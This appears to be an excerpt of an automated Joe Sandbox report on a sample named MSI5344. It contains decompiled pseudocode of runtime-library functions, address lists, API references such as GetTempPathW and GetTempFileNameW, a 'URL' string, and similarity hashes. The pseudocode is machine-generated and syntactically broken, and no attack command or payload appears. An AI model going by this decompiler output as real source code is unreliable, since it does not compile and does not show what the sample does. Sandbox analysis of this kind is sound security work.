				 *((long long*)(_t156 - 0x49)) =  >=  ?  *(_t156 - 0x21) : _t156 - 0x21;
				 *((char*)(_t156 - 0x41)) = 1;
				E00007FF77FF7AF70A9E0(_t125, _t156 - 0x49, _t155 + 8, _t154, _t155);
				 *_t155 = 0xaf735788;
				 *((intOrPtr*)(_t156 - 0x79)) = 0;
				_t118 =  *(_t156 - 9);
				if (_t118 - 0x10 < 0) goto 0xaf6dfefc;
				_t136 =  *(_t156 - 0x21);
				if (_t118 + 1 - 0x1000 < 0) goto 0xaf6dfef1;
				_t137 =  *((intOrPtr*)(_t136 - 8));
				if (_t136 - _t137 - 8 - 0x1f > 0) goto 0xaf6dff3f;
				if (_t137 == 0) goto 0xaf6dfefc;
				_t74 = LocalFree(??);
				 *(_t156 - 0x11) = _t163;
				 *(_t156 - 9) = 0xf;
				 *(_t156 - 0x21) = 0;
				 *_t155 = 0xaf7369c0;
				asm("inc ecx");
				asm("movups [esi+0x18], xmm0");
				return E00007FF77FF7AF708B70(_t74, 0x40,  *(_t156 + 0x1f) ^ _t157 - 0x000000c0);
			}

0x7ff7af6dfc9b
0x7ff7af6dfca7
0x7ff7af6dfcb1
0x7ff7af6dfcbb
0x7ff7af6dfcbe
0x7ff7af6dfcc2
0x7ff7af6dfcc5
0x7ff7af6dfccd
0x7ff7af6dfcd1
0x7ff7af6dfcd5
0x7ff7af6dfcd9
0x7ff7af6dfcdd
0x7ff7af6dfce6
0x7ff7af6dfce8
0x7ff7af6dfcef
0x7ff7af6dfcf1
0x7ff7af6dfcf4
0x7ff7af6dfcfd
0x7ff7af6dfd16
0x7ff7af6dfd1a
0x7ff7af6dfd25
0x7ff7af6dfd27
0x7ff7af6dfd2e
0x7ff7af6dfd3c
0x7ff7af6dfd48
0x7ff7af6dfd56
0x7ff7af6dfd5a
0x7ff7af6dfd5f
0x7ff7af6dfd66
0x7ff7af6dfd6c
0x7ff7af6dfd71
0x7ff7af6dfd7f
0x7ff7af6dfd84
0x7ff7af6dfd88
0x7ff7af6dfd90
0x7ff7af6dfd94
0x7ff7af6dfd98
0x7ff7af6dfda6
0x7ff7af6dfda8
0x7ff7af6dfdb6
0x7ff7af6dfdc3
0x7ff7af6dfdcb
0x7ff7af6dfdce
0x7ff7af6dfdda
0x7ff7af6dfde7
0x7ff7af6dfdef
0x7ff7af6dfdf2
0x7ff7af6dfdfa
0x7ff7af6dfdff
0x7ff7af6dfe0c
0x7ff7af6dfe0e
0x7ff7af6dfe1d
0x7ff7af6dfe26
0x7ff7af6dfe28
0x7ff7af6dfe2e
0x7ff7af6dfe32
0x7ff7af6dfe3a
0x7ff7af6dfe3e
0x7ff7af6dfe42
0x7ff7af6dfe46
0x7ff7af6dfe4a
0x7ff7af6dfe4e
0x7ff7af6dfe52
0x7ff7af6dfe56
0x7ff7af6dfe5a
0x7ff7af6dfe5e
0x7ff7af6dfe66
0x7ff7af6dfe6d
0x7ff7af6dfe70
0x7ff7af6dfe74
0x7ff7af6dfe78
0x7ff7af6dfe89
0x7ff7af6dfe95
0x7ff7af6dfe9c
0x7ff7af6dfe9f
0x7ff7af6dfea2
0x7ff7af6dfea6
0x7ff7af6dfeae
0x7ff7af6dfebb
0x7ff7af6dfec1
0x7ff7af6dfec4
0x7ff7af6dfecc
0x7ff7af6dfed1
0x7ff7af6dfede
0x7ff7af6dfee0
0x7ff7af6dfeef
0x7ff7af6dfef4
0x7ff7af6dfef6
0x7ff7af6dfefc
0x7ff7af6dff00
0x7ff7af6dff08
0x7ff7af6dff13
0x7ff7af6dff16
0x7ff7af6dff1a
0x7ff7af6dff3e

APIs

LocalAlloc.KERNEL32 ref: 00007FF7AF6DFD3C
LocalAlloc.KERNEL32 ref: 00007FF7AF6DFD66
LocalFree.KERNEL32 ref: 00007FF7AF6DFE28
__std_exception_copy.LIBVCRUNTIME ref: 00007FF7AF6DFEAE
LocalFree.KERNEL32 ref: 00007FF7AF6DFEF6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6DFF3F
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6DFF45
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6DFF4B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6DFF51
LocalFree.KERNEL32 ref: 00007FF7AF6E0015
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6E0068

Strings

iostream, xrefs: 00007FF7AF6E0070
ios_base::failbit set, xrefs: 00007FF7AF6DFF67

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Local$_invalid_parameter_noinfo_noreturn$Free$Alloc$Concurrency::cancel_current_task__std_exception_copy
String ID: ios_base::failbit set$iostream
API String ID: 1900969565-302468714
Opcode ID: 4d55f43dae4b4032e6aa3e0a46e67871938a8ebb80a43cf8ad048ad891d461ed
Instruction ID: 01916d12cf811ae823e9b789758d16d8bc6c9b1e565e74fb66fd0fc7899f62d1
Opcode Fuzzy Hash: 4d55f43dae4b4032e6aa3e0a46e67871938a8ebb80a43cf8ad048ad891d461ed
Instruction Fuzzy Hash: 6AC1B136B0AB8199FB00DB64E4443ECB376EB48798F915236DE5C17BA9DF389099C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D40F2 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 303
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E00007FF77FF7AF6D40F2(short __ebx, void* __rax, signed long long __rbx, void* __rdi, void* __rsi) {
				void* _t68;
				void* _t93;
				signed long long _t98;
				signed long long _t104;
				intOrPtr _t105;
				intOrPtr _t106;
				intOrPtr _t117;
				intOrPtr _t118;
				void* _t128;
				signed long long _t141;
				void* _t143;
				signed long long _t145;
				signed long long _t152;
				signed long long _t158;

				_t104 = __rbx;
				E00007FF77FF7AF708D44();
				if ( *0xaf7546c0 != 0xffffffff) goto 0xaf6d414e;
				 *0xaf7546c8 = __rbx;
				 *0xaf7546d8 = __rbx;
				 *0xaf7546e0 = __rbx;
				 *0xaf7546d8 = __rbx;
				 *0xaf7546e0 = 7;
				 *0xaf7546c8 = __ebx;
				E00007FF77FF7AF70908C( *0xaf7546c0 - 0xffffffff, __rax);
				E00007FF77FF7AF708CE4();
				if ( *0xaf7546d8 != 0) goto 0xaf6d433d;
				if (GetTempPathW(??, ??) == 0) goto 0xaf6d433d;
				_t93 = __rax + __rax;
				if (_t93 - 0x208 >= 0) goto 0xaf6d438e;
				 *((short*)(_t143 + _t93 - 0x40)) = __ebx;
				 *((long long*)(_t143 - 0x80)) = __rbx;
				 *(_t143 - 0x70) = __rbx;
				 *((long long*)(_t143 - 0x68)) = __rbx;
				 *(_t143 - 0x70) = __rbx;
				 *((long long*)(_t143 - 0x68)) = 7;
				 *((short*)(_t143 - 0x80)) = __ebx;
				if ( *((short*)(_t143 - 0x40 + 0xfffffffffffffffe)) != 0) goto 0xaf6d41b0;
				E00007FF77FF7AF6D2000(__rbx, _t143 - 0x80, _t143 - 0x40, __rsi, _t143, 0);
				 *((long long*)(_t145 + 0x50)) = _t145 + 0x60;
				 *((long long*)(_t145 + 0x58)) = _t145 + 0x28;
				 *(_t145 + 0x28) = _t104;
				 *(_t145 + 0x38) = _t104;
				 *(_t145 + 0x40) = _t104;
				_t152 =  *((intOrPtr*)(_t143 - 0x68));
				r13b = _t152 - 8 >= 0;
				_t105 =  *((intOrPtr*)(_t143 - 0x80));
				_t156 =  >=  ? _t105 : _t143 - 0x80;
				_t158 =  *(_t143 - 0x70);
				if (_t158 - 8 >= 0) goto 0xaf6d421e;
				asm("inc ecx");
				asm("movups [esp+0x28], xmm0");
				goto 0xaf6d425c;
				_t141 =  >  ? 0xfffffffe : _t158 | 0x00000007;
				E00007FF77FF7AF6D2430(_t141 + 1);
				 *(_t145 + 0x28) = 0xfffffffe;
				_t128 =  >=  ? _t105 : _t143 - 0x80;
				E00007FF77FF7AF70AFB0();
				 *(_t145 + 0x38) = _t158;
				 *(_t145 + 0x40) = _t141;
				0xaf6d9340();
				E00007FF77FF7AF6D97E0(_t105, _t143 - 0x60, 0xfffffffe);
				_t132 =  >=  ?  *((void*)(_t143 - 0x60)) : _t143 - 0x60;
				E00007FF77FF7AF6D2000(_t105, 0xaf7546c8,  >=  ?  *((void*)(_t143 - 0x60)) : _t143 - 0x60, _t141, _t143,  *((intOrPtr*)(_t143 - 0x50)));
				_t98 =  *((intOrPtr*)(_t143 - 0x48));
				if (_t98 - 8 < 0) goto 0xaf6d42e3;
				_t117 =  *((intOrPtr*)(_t143 - 0x60));
				if (2 + _t98 * 2 - 0x1000 < 0) goto 0xaf6d42d8;
				_t118 =  *((intOrPtr*)(_t117 - 8));
				if (_t117 - _t118 - 8 - 0x1f > 0) goto 0xaf6d4394;
				if (_t118 == 0) goto 0xaf6d42e3;
				LocalFree(??);
				asm("movdqa xmm0, [0x73265]");
				asm("movdqu [ebp-0x50], xmm0");
				 *((short*)(_t143 - 0x60)) = 0;
				if (r13b == 0) goto 0xaf6d432d;
				if (2 + _t152 * 2 - 0x1000 < 0) goto 0xaf6d431f;
				_t106 =  *((intOrPtr*)(_t105 - 8));
				if (_t105 - _t106 - 8 - 0x1f > 0) goto 0xaf6d4388;
				if (_t106 == 0) goto 0xaf6d432d;
				LocalFree(??);
				 *(_t143 - 0x70) = _t141;
				 *((long long*)(_t143 - 0x68)) = 7;
				 *((short*)(_t143 - 0x80)) = 0;
				_t68 = E00007FF77FF7AF6D1290(_t105 - _t106 - 8, _t106, __rdi, 0xaf7546c8, _t141, _t143);
				 *((intOrPtr*)(_t145 + 0x20)) = 1;
				return E00007FF77FF7AF708B70(_t68, 0x104,  *(_t143 + 0x1d0) ^ _t145);
			}

0x7ff7af6d40f2
0x7ff7af6d40f9
0x7ff7af6d4105
0x7ff7af6d4107
0x7ff7af6d410e
0x7ff7af6d4115
0x7ff7af6d411c
0x7ff7af6d4123
0x7ff7af6d412e
0x7ff7af6d413c
0x7ff7af6d4149
0x7ff7af6d4156
0x7ff7af6d416d
0x7ff7af6d4175
0x7ff7af6d417e
0x7ff7af6d4184
0x7ff7af6d4189
0x7ff7af6d418d
0x7ff7af6d4191
0x7ff7af6d4195
0x7ff7af6d4199
0x7ff7af6d41a1
0x7ff7af6d41b9
0x7ff7af6d41c3
0x7ff7af6d41ce
0x7ff7af6d41d8
0x7ff7af6d41dd
0x7ff7af6d41e2
0x7ff7af6d41e7
0x7ff7af6d41f0
0x7ff7af6d41f8
0x7ff7af6d41fc
0x7ff7af6d4200
0x7ff7af6d4204
0x7ff7af6d420c
0x7ff7af6d420e
0x7ff7af6d4212
0x7ff7af6d421c
0x7ff7af6d4232
0x7ff7af6d423f
0x7ff7af6d4244
0x7ff7af6d4251
0x7ff7af6d4257
0x7ff7af6d425c
0x7ff7af6d4261
0x7ff7af6d4270
0x7ff7af6d427d
0x7ff7af6d428c
0x7ff7af6d429c
0x7ff7af6d42a2
0x7ff7af6d42aa
0x7ff7af6d42b4
0x7ff7af6d42c1
0x7ff7af6d42c3
0x7ff7af6d42d2
0x7ff7af6d42db
0x7ff7af6d42dd
0x7ff7af6d42e3
0x7ff7af6d42eb
0x7ff7af6d42f2
0x7ff7af6d42f9
0x7ff7af6d430c
0x7ff7af6d430e
0x7ff7af6d431d
0x7ff7af6d4322
0x7ff7af6d4327
0x7ff7af6d432d
0x7ff7af6d4331
0x7ff7af6d4339
0x7ff7af6d4347
0x7ff7af6d434d
0x7ff7af6d4387

APIs

Part of subcall function 00007FF7AF708D44: EnterCriticalSection.KERNEL32(?,?,00000004,00007FF7AF6D2E67,?,?,?,00007FF7AF6D258D), ref: 00007FF7AF708D54

_Init_thread_footer.LIBCMT ref: 00007FF7AF6D4149

Part of subcall function 00007FF7AF708CE4: EnterCriticalSection.KERNEL32(?,?,00000004,00007FF7AF6D2ECC,?,?,?,00007FF7AF6D258D), ref: 00007FF7AF708CF4
Part of subcall function 00007FF7AF708CE4: LeaveCriticalSection.KERNEL32(?,?,00000004,00007FF7AF6D2ECC,?,?,?,00007FF7AF6D258D), ref: 00007FF7AF708D34

GetTempPathW.KERNEL32 ref: 00007FF7AF6D4165
LocalFree.KERNEL32 ref: 00007FF7AF6D42DD
LocalFree.KERNEL32 ref: 00007FF7AF6D4327

Part of subcall function 00007FF7AF6D2430: LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7AF6D24A0), ref: 00007FF7AF6D2460

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D4388
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D4394
LocalFree.KERNEL32 ref: 00007FF7AF6D4435
LocalFree.KERNEL32 ref: 00007FF7AF6D449B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D44D9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D44DF
GetTempFileNameW.KERNEL32 ref: 00007FF7AF6D454E

Strings

URL, xrefs: 00007FF7AF6D4547

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Local$Free_invalid_parameter_noinfo_noreturn$CriticalSection$EnterTemp$AllocFileInit_thread_footerLeaveNamePath
String ID: URL
API String ID: 3755313302-1657866020
Opcode ID: d0b127f2320140ff3e96bb718c8ad194f25a6a83c502399bcca83d9e73cf090f
Instruction ID: e6d4e299760f582032066fd28ff7e554dba936ddabe562b1b18a8282eb0a0b65
Opcode Fuzzy Hash: d0b127f2320140ff3e96bb718c8ad194f25a6a83c502399bcca83d9e73cf090f
Instruction Fuzzy Hash: 10D1A326A1AB8185EB20EF65E8443EDB365FB88794FD11236DA4C43A78DF3CD495C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF72257C Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7AF72258B
FlsGetValue.KERNEL32 ref: 00007FF7AF7225A0
FlsSetValue.KERNEL32 ref: 00007FF7AF7225C1
FlsSetValue.KERNEL32 ref: 00007FF7AF7225EE
FlsSetValue.KERNEL32 ref: 00007FF7AF7225FF
FlsSetValue.KERNEL32 ref: 00007FF7AF722610
SetLastError.KERNEL32 ref: 00007FF7AF72262B
FlsGetValue.KERNEL32 ref: 00007FF7AF722661
FlsSetValue.KERNEL32 ref: 00007FF7AF722680

Part of subcall function 00007FF7AF724550: HeapAlloc.KERNEL32(?,?,00000000,00007FF7AF722756,?,?,?,00007FF7AF70F839,?,?,?,?,00007FF7AF722144), ref: 00007FF7AF7245A5

FlsSetValue.KERNEL32 ref: 00007FF7AF7226A8

Part of subcall function 00007FF7AF722110: HeapFree.KERNEL32 ref: 00007FF7AF722126
Part of subcall function 00007FF7AF722110: GetLastError.KERNEL32 ref: 00007FF7AF722130

FlsSetValue.KERNEL32 ref: 00007FF7AF7226B9
FlsSetValue.KERNEL32 ref: 00007FF7AF7226CA

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: cd29ba65fbe9c3e0d91959ec7691b4e74855a911da7342f201d45e02f3dbf21a
Instruction ID: ad19cff5ee6a17c29ff0f358e42c432748253ba47f3bc7ffb6ea9ea2a233101e
Opcode Fuzzy Hash: cd29ba65fbe9c3e0d91959ec7691b4e74855a911da7342f201d45e02f3dbf21a
Instruction Fuzzy Hash: 23414D19F0B2C642F96877716C515F9A152EF4C7A0FD64734D93E06AF6DE2CF8008620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF7185F8 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 415
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 71%

			E00007FF77FF7AF7185F8(void* __edi, void* __ebp, intOrPtr* __rax, intOrPtr* __rcx, signed long long* __rdx, long long __r8, signed int _a16, void* _a24, signed int _a32) {
				signed int* _v72;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				signed int _t60;
				signed int _t78;
				signed int _t88;
				signed int _t122;
				signed int _t123;
				signed int _t124;
				intOrPtr _t130;
				void* _t140;
				signed int _t141;
				signed int _t142;
				signed int _t143;
				signed int _t144;
				signed int _t145;
				signed int _t146;
				void* _t152;
				void* _t166;
				void* _t170;
				signed char* _t237;
				intOrPtr* _t239;
				signed long long _t240;
				intOrPtr* _t242;
				intOrPtr* _t244;
				intOrPtr* _t247;
				signed long long _t248;
				intOrPtr* _t250;
				signed long long _t251;
				intOrPtr* _t253;
				signed long long _t254;
				intOrPtr* _t255;
				intOrPtr* _t257;
				signed long long _t260;
				signed long long _t262;
				char* _t263;
				intOrPtr* _t265;
				void* _t266;
				signed long long _t268;
				intOrPtr* _t269;
				signed long long* _t273;
				void* _t277;
				signed long long _t282;
				signed long long _t283;
				signed long long _t284;
				signed int* _t286;
				signed long long _t293;
				void* _t296;
				char* _t297;
				signed char* _t298;
				signed long long _t300;
				signed int* _t302;
				signed int* _t303;
				signed int* _t304;

				_t273 = __rdx;
				_t166 = __ebp;
				_a24 = __r8;
				_t298 =  *__rdx;
				if (_t298 != 0) goto 0xaf718631;
				E00007FF77FF7AF70F830(__rax);
				 *__rax = 0x16;
				E00007FF77FF7AF70F6C4();
				goto 0xaf71888d;
				_t122 =  *_t298 & 0x000000ff;
				_t2 =  &(_t298[1]); // 0x1
				 *__rdx = _t2;
				r12d = 8;
				_a16 = _t122;
				sil = _t122;
				if (E00007FF77FF7AF71796C(_t122, r12d, __edi, _t2, _t266, _t277, __rcx, __rcx) == 0) goto 0xaf71867e;
				_t237 =  *__rdx;
				_t123 =  *_t237 & 0x000000ff;
				 *__rdx =  &(_t237[1]);
				_a16 = _t123;
				_t60 = E00007FF77FF7AF71796C(_t123, r12d, __edi,  &(_t237[1]), _t266, _t277, __rcx, __rcx);
				if (_t60 != 0) goto 0xaf71865a;
				sil = _t123;
				_t170 = sil - 0x2d;
				_t297 = __r8 + 0x308;
				 *_t297 = _t60 & 0xffffff00 | _t170 == 0x00000000;
				if (_t170 == 0) goto 0xaf718698;
				if (sil != 0x2b) goto 0xaf7186aa;
				_t239 =  *__rdx;
				_t124 =  *_t239;
				_t240 = _t239 + 1;
				 *__rdx = _t240;
				sil = _t124;
				_a16 = _t124;
				r10b = 0xdf;
				if ((r10b & _t277 - 0x00000049) == 0) goto 0xaf718ab6;
				if ((r10b & _t277 - 0x0000004e) == 0) goto 0xaf718aa4;
				r9b = 0;
				_a16 = r9b;
				if (sil != 0x30) goto 0xaf71871e;
				_t268 =  *__rdx;
				_t152 =  *_t268;
				_t293 = _t268 + 1;
				 *__rdx = _t293;
				_t17 = _t273 - 0x58; // 0x87
				if ((r10b & _t17) == 0) goto 0xaf718709;
				 *__rdx = _t268;
				if (_t152 == 0) goto 0xaf71871e;
				if ( *_t268 == _t152) goto 0xaf71871e;
				E00007FF77FF7AF70F830(_t240);
				 *_t240 = 0x16;
				E00007FF77FF7AF70F6C4();
				r9b = _a16;
				goto 0xaf71871e;
				r9b = 1;
				 *__rdx = _t293 + 1;
				_a16 = r9b;
				_t302 = __r8 + 8;
				r10d = 0;
				_v72 = _t302;
				if ( *_t293 != 0x30) goto 0xaf718743;
				_t242 =  *__rdx;
				 *__rdx = _t242 + 1;
				if ( *_t242 == 0x30) goto 0xaf718733;
				asm("inc ebp");
				r8d = r8d & 0x00000006;
				r8d = r8d + 9;
				r11d = r11d | 0xffffffff;
				if (_t266 - 0x30 - 9 > 0) goto 0xaf718769;
				goto 0xaf71878a;
				if (_t266 - 0x61 - 0x19 > 0) goto 0xaf718778;
				goto 0xaf71878a;
				if (_t266 - 0x41 - 0x19 > 0) goto 0xaf718787;
				goto 0xaf71878a;
				_t78 = r11d;
				if (_t78 - r8d > 0) goto 0xaf7187ad;
				if (_t302 == _t297) goto 0xaf71879c;
				 *_t302 = _t78;
				_t303 =  &(_t302[0]);
				_t244 =  *__rdx;
				r10d = r10d + 1;
				 *__rdx = _t244 + 1;
				goto 0xaf71875a;
				_t286 = _v72;
				_a32 = r10d;
				_t269 =  *((intOrPtr*)( *__rcx + 0xf8));
				if ( *_t244 !=  *((intOrPtr*)( *_t269))) goto 0xaf71885a;
				_t247 =  *__rdx;
				_t248 = _t247 + 1;
				 *__rdx = _t248;
				if (_t303 != _t286) goto 0xaf71880a;
				if ( *_t247 != 0x30) goto 0xaf71880a;
				r10d = r10d - 1;
				 *__rdx = _t248 + 1;
				if ( *_t248 == 0x30) goto 0xaf7187ec;
				_a32 = r10d;
				if (_t269 - 0x30 - 9 > 0) goto 0xaf718819;
				goto 0xaf71883a;
				if (_t269 - 0x61 - 0x19 > 0) goto 0xaf718828;
				goto 0xaf71883a;
				if (_t269 - 0x41 - 0x19 > 0) goto 0xaf718837;
				goto 0xaf71883a;
				_t88 = r11d;
				if (_t88 - r8d > 0) goto 0xaf71885a;
				if (_t303 == _t297) goto 0xaf71884c;
				 *_t303 = _t88;
				_t304 =  &(_t303[0]);
				_t250 =  *__rdx;
				_t130 =  *_t250;
				_t282 = _t250 + 1;
				 *__rdx = _t282;
				goto 0xaf718808;
				_t283 = _t282 - 1;
				 *__rdx = _t283;
				if (1 != 0) goto 0xaf718897;
				if (_t130 == 0) goto 0xaf718881;
				if ( *_t283 == _t130) goto 0xaf718881;
				E00007FF77FF7AF70F830(_t250);
				 *_t250 = 0x16;
				E00007FF77FF7AF70F6C4();
				r9b = _a16;
				 *__rdx = _t268;
				if (r9b != 0) goto 0xaf718a9d;
				goto 0xaf718ac6;
				if (_t130 == 0) goto 0xaf7188b7;
				if ( *_t283 == _t130) goto 0xaf7188b7;
				E00007FF77FF7AF70F830(_t250);
				 *_t250 = 0x16;
				E00007FF77FF7AF70F6C4();
				r9b = _a16;
				_t284 =  *__rdx;
				_t140 =  *_t284;
				_t300 = _t284 + 1;
				 *__rdx = _t300;
				if (_t140 == 0x45) goto 0xaf7188db;
				if (_t140 == 0x50) goto 0xaf7188d6;
				if (_t140 == 0x65) goto 0xaf7188db;
				if (_t140 != 0x70) goto 0xaf7188e0;
				goto 0xaf7188e0;
				r12d = 0x1450;
				if ((r9b ^ 0x00000001) == 0) goto 0xaf718a00;
				_t141 =  *_t300;
				_t251 = _t300 + 1;
				 *__rdx = _t251;
				r10b = _t141;
				r8b = _t141;
				if (_t141 == 0x2b) goto 0xaf71890a;
				if (_t141 != 0x2d) goto 0xaf718915;
				_t142 =  *_t251;
				 *__rdx = _t251 + 1;
				r8b = _t142;
				r9b = 0;
				if (_t142 != 0x30) goto 0xaf718933;
				r9b = 1;
				_t253 =  *__rdx;
				_t143 =  *_t253;
				_t254 = _t253 + 1;
				 *__rdx = _t254;
				r8b = _t143;
				if (_t143 == 0x30) goto 0xaf718920;
				_t41 = _t269 - 0x30; // -47
				if (_t41 - 9 > 0) goto 0xaf718942;
				goto 0xaf71895e;
				if (_t269 - 0x61 - 0x19 > 0) goto 0xaf718951;
				goto 0xaf71895e;
				if (_t269 - 0x41 - 0x19 > 0) goto 0xaf718986;
				if (_t143 - 0x37 - 0xa >= 0) goto 0xaf718986;
				r9b = 1;
				if (__rdx + _t254 * 2 - r12d > 0) goto 0xaf718981;
				_t255 =  *__rdx;
				_t144 =  *_t255;
				 *__rdx = _t255 + 1;
				r8b = _t144;
				goto 0xaf718933;
				if (r8b - 0x30 < 0) goto 0xaf718999;
				if (_t144 - 0x39 > 0) goto 0xaf718999;
				goto 0xaf7189b5;
				if (_t269 - 0x61 - 0x19 > 0) goto 0xaf7189a8;
				goto 0xaf7189b5;
				if (_t269 - 0x41 - 0x19 > 0) goto 0xaf7189ca;
				if (_t144 + 0xffffffc9 - 0xa >= 0) goto 0xaf7189ca;
				_t257 =  *__rdx;
				_t145 =  *_t257;
				 *__rdx = _t257 + 1;
				r8b = _t145;
				goto 0xaf718986;
				if (r10b != 0x2d) goto 0xaf7189d2;
				if (r9b != 0) goto 0xaf718a00;
				_t260 =  *__rdx - 1;
				 *__rdx = _t260;
				if (_t145 == 0) goto 0xaf7189f8;
				if ( *_t260 == _t145) goto 0xaf7189f8;
				E00007FF77FF7AF70F830(_t260);
				 *_t260 = 0x16;
				E00007FF77FF7AF70F6C4();
				 *__rdx = _t284;
				_t146 =  *_t284;
				 *__rdx = _t300;
				_t262 =  *__rdx - 1;
				 *__rdx = _t262;
				if (_t146 == 0) goto 0xaf718a21;
				if ( *_t262 == _t146) goto 0xaf718a21;
				E00007FF77FF7AF70F830(_t262);
				 *_t262 = 0x16;
				E00007FF77FF7AF70F6C4();
				if (_t304 == _t286) goto 0xaf718a9d;
				_t263 = _t304 - 1;
				if ( *_t263 != 0) goto 0xaf718a3d;
				if (_t263 != _t286) goto 0xaf718a26;
				_t264 =  !=  ? _t304 : _t263;
				_t229 = ( !=  ? _t304 : _t263) - _t286;
				if (( !=  ? _t304 : _t263) == _t286) goto 0xaf718a9d;
				if (0x1451 - r12d > 0) goto 0xaf718a96;
				r8d = 0xffffebb0;
				if (0x1451 - r8d < 0) goto 0xaf718a8f;
				asm("sbb ecx, ecx");
				if (0x1451 - r12d > 0) goto 0xaf718a96;
				if (0x1451 - r8d < 0) goto 0xaf718a8f;
				_t265 = _a24;
				r15d = r15d - _t166;
				 *_t265 =  ~0x1451 + ((_t146 & 0x00000003) + 1) * _a32;
				 *((intOrPtr*)(_t265 + 4)) = r15d;
				goto 0xaf718ac6;
				goto 0xaf718ac6;
				goto 0xaf718ac6;
				goto 0xaf718ac6;
				_t55 =  &_a16; // 0x80
				E00007FF77FF7AF718C34(_t266, _t55, __rdx, __rdx, _t284, _t286, _t300);
				goto 0xaf718ac6;
				_t56 =  &_a16; // 0x80
				return E00007FF77FF7AF718AD8(_t266, _t56, __rdx, _t284, _t300, _t296);
			}

0x7ff7af7185f8
0x7ff7af7185f8
0x7ff7af7185f8
0x7ff7af71860b
0x7ff7af71861a
0x7ff7af71861c
0x7ff7af718621
0x7ff7af718627
0x7ff7af71862c
0x7ff7af718631
0x7ff7af718635
0x7ff7af718639
0x7ff7af71863c
0x7ff7af718645
0x7ff7af71864e
0x7ff7af718658
0x7ff7af71865a
0x7ff7af718663
0x7ff7af71866b
0x7ff7af71866e
0x7ff7af718672
0x7ff7af718679
0x7ff7af71867b
0x7ff7af71867e
0x7ff7af718682
0x7ff7af71868c
0x7ff7af718690
0x7ff7af718696
0x7ff7af718698
0x7ff7af71869b
0x7ff7af71869d
0x7ff7af7186a0
0x7ff7af7186a3
0x7ff7af7186a6
0x7ff7af7186ad
0x7ff7af7186b3
0x7ff7af7186bf
0x7ff7af7186c5
0x7ff7af7186c8
0x7ff7af7186d1
0x7ff7af7186d3
0x7ff7af7186d6
0x7ff7af7186d8
0x7ff7af7186dc
0x7ff7af7186df
0x7ff7af7186e5
0x7ff7af7186e7
0x7ff7af7186ec
0x7ff7af7186f0
0x7ff7af7186f2
0x7ff7af7186f7
0x7ff7af7186fd
0x7ff7af718702
0x7ff7af718707
0x7ff7af718710
0x7ff7af718713
0x7ff7af718716
0x7ff7af71871e
0x7ff7af718722
0x7ff7af718727
0x7ff7af71872f
0x7ff7af718733
0x7ff7af71873b
0x7ff7af718741
0x7ff7af71874b
0x7ff7af71874e
0x7ff7af718752
0x7ff7af718756
0x7ff7af71875f
0x7ff7af718767
0x7ff7af71876e
0x7ff7af718776
0x7ff7af71877d
0x7ff7af718785
0x7ff7af718787
0x7ff7af71878d
0x7ff7af718794
0x7ff7af718796
0x7ff7af718799
0x7ff7af71879c
0x7ff7af71879f
0x7ff7af7187a8
0x7ff7af7187ab
0x7ff7af7187b1
0x7ff7af7187b6
0x7ff7af7187be
0x7ff7af7187ca
0x7ff7af7187d0
0x7ff7af7187d5
0x7ff7af7187d8
0x7ff7af7187e3
0x7ff7af7187e8
0x7ff7af7187f2
